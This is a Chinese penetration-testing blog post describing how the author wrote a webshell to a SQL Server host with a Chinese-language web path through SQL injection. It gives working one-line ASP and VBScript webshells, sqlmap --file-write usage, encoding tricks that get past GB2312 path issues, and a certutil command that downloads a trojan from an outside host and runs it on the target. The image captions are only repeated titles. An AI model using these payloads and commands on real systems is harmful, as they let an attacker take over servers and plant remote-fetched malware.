SQLserver写Webshell总结-突破中文路径

  • Comments Off on SQLserver写Webshell总结-突破中文路径
  • 14 views
  • A+
所属分类:安全文章

首发先知社区:https://xz.aliyun.com/t/10375

背景

目标站:
SQLserver写Webshell总结-突破中文路径
发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件
SQLserver写Webshell总结-突破中文路径
SQLserver写Webshell总结-突破中文路径
存在注入
SQLserver写Webshell总结-突破中文路径

开始踩坑

本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计
通过dir命令得到该站绝对路径
SQLserver写Webshell总结-突破中文路径
发现是中文绝对路径,这个时候用echo进行写马已经行不通了
mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8
如图 使用echo写马提示找不到路径
SQLserver写Webshell总结-突破中文路径

powershell上线

尝试powershell上线,发现该服务器存在360,上线失败,暂不考虑bypass
SQLserver写Webshell总结-突破中文路径

使用BAT文件写shell

尝试使用sqlmap自带的命令--file-write写bat文件getshell
这里知道了mssql调用cmd的编码是gb2312 所以本地的bat文件编码也要是gb2312
SQLserver写Webshell总结-突破中文路径
将本地1.bat文件利用windows的certutil文件写到对方D盘的1c.bat
SQLserver写Webshell总结-突破中文路径
type看看中文是否乱码
SQLserver写Webshell总结-突破中文路径
没有乱码,但是在接下来运行bat文件中又踩坑了==
多次测试都发现asp的木马中 % 文件跟bat不兼容
在本机中测试 发现木马被写成了这个样==
SQLserver写Webshell总结-突破中文路径
期间尝试过没有%的木马

<SCRIPT language=VBScript runat=”server”>execute request(“MH”)</SCRIPT>

但是由于该机器的配置原因都失败
遂放弃

手工写shell

将sqlmap代理到burp 抓echo写马的数据包
SQLserver写Webshell总结-突破中文路径
将这段hex通过UTF-8解码
SQLserver写Webshell总结-突破中文路径
没有乱码,同理,如果通过GB2312解码一定会乱码,mssql调用cmd使用的便是GB2312编码
将echo xxx 通过GB2313 hex编码
SQLserver写Webshell总结-突破中文路径
对比之前UTF-8和GB2313编码的不同
SQLserver写Webshell总结-突破中文路径
将burp中原来UTF-8编码的hex改为GB2313编码的hex 然后Forward
SQLserver写Webshell总结-突破中文路径
这次没有提示找不到路径 访问该shell写入成功

certutil下载上线

SQLserver写Webshell总结-突破中文路径
SQLserver写Webshell总结-突破中文路径
与sqlmap --file-write 同理,使用certutil.exe远程下载木马到对方D盘
然后start运行即可

总结

查找文件
1、dir/s/b d:1.txt
2、for /r "D:" %i in (*.ashx) do echo %i
3、%windir%system32inetsrvappcmd list VDIR

写shell
1、powershell上线
2、echo <%eval request("z")%> > d:票务专用z.asp
3、写bat文件,bat编码需要更改为gb2312简体中文。 --file-write c:usersxiudesktop1.bat -file-dest d:1c.bat
4、certutil.exe -urlcache -split -f http://.xiu09.cn/1.asp D:1.txt 远程下载shell、木马

参考如下:
https://mp.weixin.qq.com/s/NMBdQfVImrAHeDdC2R_rZw

相关推荐: 记一次艰难的溯源故事(对不起学长)

本文转自先知社区:https://xz.aliyun.com/t/9582作者:amazingday0x01起因于昨天晚上做了一个梦,梦见自己被抓去了罚坐,以下内容纯属做梦,师傅们当个故事会看吧。起因罚坐期间被告知需要交点东西,看着全是僵尸网络的告警,一阵头大…